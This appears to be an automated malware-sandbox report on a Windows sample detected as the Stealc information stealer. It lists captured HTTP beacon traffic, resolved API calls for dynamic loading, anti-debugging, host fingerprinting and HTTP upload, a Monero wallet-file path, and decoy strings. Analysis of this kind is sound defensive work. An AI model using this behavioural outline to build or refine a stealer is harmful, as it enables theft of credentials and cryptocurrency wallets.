name="hwid"706500D3ECC058492808------JJJEGCGDGHCBFHIDHDAAContent-Disposition: form-data; name="build"save------JJJEGCGDGHCBFHIDHDAA--
Sep 27, 2024 12:53:04.908241987 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 10:53:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	06:52:58
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe10000
File size:	1'853'952 bytes
MD5 hash:	FB6E05D5C008F119EFCDEEFE60D6E924
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1448686604.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1400847337.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00E29860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75550000,008F0780), ref: 00E298A1
GetProcAddress.KERNEL32(75550000,008F0798), ref: 00E298BA
GetProcAddress.KERNEL32(75550000,008F0660), ref: 00E298D2
GetProcAddress.KERNEL32(75550000,008F07B0), ref: 00E298EA
GetProcAddress.KERNEL32(75550000,008F05A0), ref: 00E29903
GetProcAddress.KERNEL32(75550000,008F89A0), ref: 00E2991B
GetProcAddress.KERNEL32(75550000,008E6760), ref: 00E29933
GetProcAddress.KERNEL32(75550000,008E67C0), ref: 00E2994C
GetProcAddress.KERNEL32(75550000,008F0678), ref: 00E29964
GetProcAddress.KERNEL32(75550000,008F07C8), ref: 00E2997C
GetProcAddress.KERNEL32(75550000,008F05B8), ref: 00E29995
GetProcAddress.KERNEL32(75550000,008F05D0), ref: 00E299AD
GetProcAddress.KERNEL32(75550000,008E68A0), ref: 00E299C5
GetProcAddress.KERNEL32(75550000,008F05E8), ref: 00E299DE
GetProcAddress.KERNEL32(75550000,008F0600), ref: 00E299F6
GetProcAddress.KERNEL32(75550000,008E6A00), ref: 00E29A0E
GetProcAddress.KERNEL32(75550000,008F0690), ref: 00E29A27
GetProcAddress.KERNEL32(75550000,008F08E8), ref: 00E29A3F
GetProcAddress.KERNEL32(75550000,008E66C0), ref: 00E29A57
GetProcAddress.KERNEL32(75550000,008F0888), ref: 00E29A70
GetProcAddress.KERNEL32(75550000,008E68C0), ref: 00E29A88
LoadLibraryA.KERNEL32(008F0870,?,00E26A00), ref: 00E29A9A
LoadLibraryA.KERNEL32(008F08B8,?,00E26A00), ref: 00E29AAB
LoadLibraryA.KERNEL32(008F0900,?,00E26A00), ref: 00E29ABD
LoadLibraryA.KERNEL32(008F08A0,?,00E26A00), ref: 00E29ACF
LoadLibraryA.KERNEL32(008F08D0,?,00E26A00), ref: 00E29AE0
GetProcAddress.KERNEL32(75670000,008F0918), ref: 00E29B02
GetProcAddress.KERNEL32(75750000,008F0858), ref: 00E29B23
GetProcAddress.KERNEL32(75750000,008F8D18), ref: 00E29B3B
GetProcAddress.KERNEL32(76BE0000,008F8CD0), ref: 00E29B5D
GetProcAddress.KERNEL32(759D0000,008E6700), ref: 00E29B7E
GetProcAddress.KERNEL32(773F0000,008F8940), ref: 00E29B9F
GetProcAddress.KERNEL32(773F0000,NtQueryInformationProcess), ref: 00E29BB6

Strings

NtQueryInformationProcess, xrefs: 00E29BAA

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 96e6ca24d3d1d2d61d2dac37e1078f1c0733909c0ae53744a7192b94e80d881e
Instruction ID: 1f3962cbe690c9c9a490ce9e755f6ded2f8ed1968a8f8ef1726db3d65149cc95
Opcode Fuzzy Hash: 96e6ca24d3d1d2d61d2dac37e1078f1c0733909c0ae53744a7192b94e80d881e
Instruction Fuzzy Hash: 08A10AB5710348DFD364EFA8E988A673BF9F78C301714975AA6868324CD63F9841CB60

Function 00E145C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00E1460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00E1479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E145E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E1466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E1477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E146AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E1473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E146B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E1462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E146C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E146CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E145F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E1471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E145C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E145DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E1474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E145D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E146D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E1475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14683

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: ef49a91caa2f65edddbc0428c2e755b1616996089d4732fd9cebce567260ac69
Instruction ID: 011500871902e4f1d3040e3ac34048005fc65d979ca711e141f81c100a8e802e
Opcode Fuzzy Hash: ef49a91caa2f65edddbc0428c2e755b1616996089d4732fd9cebce567260ac69
Instruction Fuzzy Hash: E94112616C37047FE628FBA6AC4EFDF7A625F43708F587040A84062780DFB27505C5AA

Function 00E14880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

Part of subcall function 00E147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E14839
Part of subcall function 00E147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E14849

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00E14915
StrCmpCA.SHLWAPI(?,008FE5C0), ref: 00E1493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E14ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00E30DDB,00000000,?,?,00000000,?,",00000000,?,008FE500), ref: 00E14DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00E14E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00E14E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00E14E49
InternetCloseHandle.WININET(00000000), ref: 00E14EAD
InternetCloseHandle.WININET(00000000), ref: 00E14EC5
HttpOpenRequestA.WININET(00000000,008FE550,?,008FDC58,00000000,00000000,00400100,00000000), ref: 00E14B15

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

InternetCloseHandle.WININET(00000000), ref: 00E14ECF

Strings

", xrefs: 00E14D33
------, xrefs: 00E14B28
------, xrefs: 00E14C69
------, xrefs: 00E149BD
", xrefs: 00E14BF2

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: e74a2a2606cfafa56caf4cbce10ecd35cb8294ed5a84290cd8b36268768887e4
Instruction ID: 96261fc78c1bbdd9b4cd2ace36c4f4baa50dc9c58de1ce366bc75fc19f7d70e3
Opcode Fuzzy Hash: e74a2a2606cfafa56caf4cbce10ecd35cb8294ed5a84290cd8b36268768887e4
Instruction Fuzzy Hash: 1E12CC729102289BDB19EB50EC56FEEB7B8BF54300F5451A9F10672091DF742F89CB61

Function 00E278E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E27910
RtlAllocateHeap.NTDLL(00000000), ref: 00E27917
GetComputerNameA.KERNEL32(?,00000104), ref: 00E2792F

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 619d5df449900247063f6861afc36b70d30f676199d747103c87944c850c6dec
Instruction ID: 0c6208db697a2305f7100eafc7b1ebca078c551a2da88ef63c23db1dc51e0ff9
Opcode Fuzzy Hash: 619d5df449900247063f6861afc36b70d30f676199d747103c87944c850c6dec
Instruction Fuzzy Hash: 7A0186B1A08304EBC710DF94D945BABBBB8F744B21F104219F685F3280C77559408BA1

Function 00E27850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E111B7), ref: 00E27880
RtlAllocateHeap.NTDLL(00000000), ref: 00E27887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00E2789F

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 2138d4e98ede46f1aefeec11465f7d936054fb811cb9649e953a6ffe4955b66e
Instruction ID: 59daf29a0bec0d042eeba59b76aaea5ef83a8f851477f25c0bd156cd8bc78fb9
Opcode Fuzzy Hash: 2138d4e98ede46f1aefeec11465f7d936054fb811cb9649e953a6ffe4955b66e
Instruction Fuzzy Hash: 0FF04FB1E44208EBC714DF98DD49BAFBBB8FB08721F10025AFA45A3680C77919048BA1

Function 00E11160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00E1116A
ExitProcess.KERNEL32 ref: 00E1117E

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 3ab710c7a19272a21e310c4f921c6961a0d3a6813be95a1e2f672c2809e30352
Instruction ID: 4192294f47074cf4ce03edf6cd601cd5bae7dafeb124994993e3af8f3332dfc9
Opcode Fuzzy Hash: 3ab710c7a19272a21e310c4f921c6961a0d3a6813be95a1e2f672c2809e30352
Instruction Fuzzy Hash: 91D05E74A0030CDBCB10DFE0D8496DEBB78FB08311F001698D90673340EA3164C1CBA5

Function 00E29C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75550000,008E6720), ref: 00E29C2D
GetProcAddress.KERNEL32(75550000,008E6800), ref: 00E29C45
GetProcAddress.KERNEL32(75550000,008F8F28), ref: 00E29C5E
GetProcAddress.KERNEL32(75550000,008F8F40), ref: 00E29C76
GetProcAddress.KERNEL32(75550000,008FCA20), ref: 00E29C8E
GetProcAddress.KERNEL32(75550000,008FC840), ref: 00E29CA7
GetProcAddress.KERNEL32(75550000,008EB478), ref: 00E29CBF
GetProcAddress.KERNEL32(75550000,008FC9C0), ref: 00E29CD7
GetProcAddress.KERNEL32(75550000,008FC9D8), ref: 00E29CF0
GetProcAddress.KERNEL32(75550000,008FC8D0), ref: 00E29D08
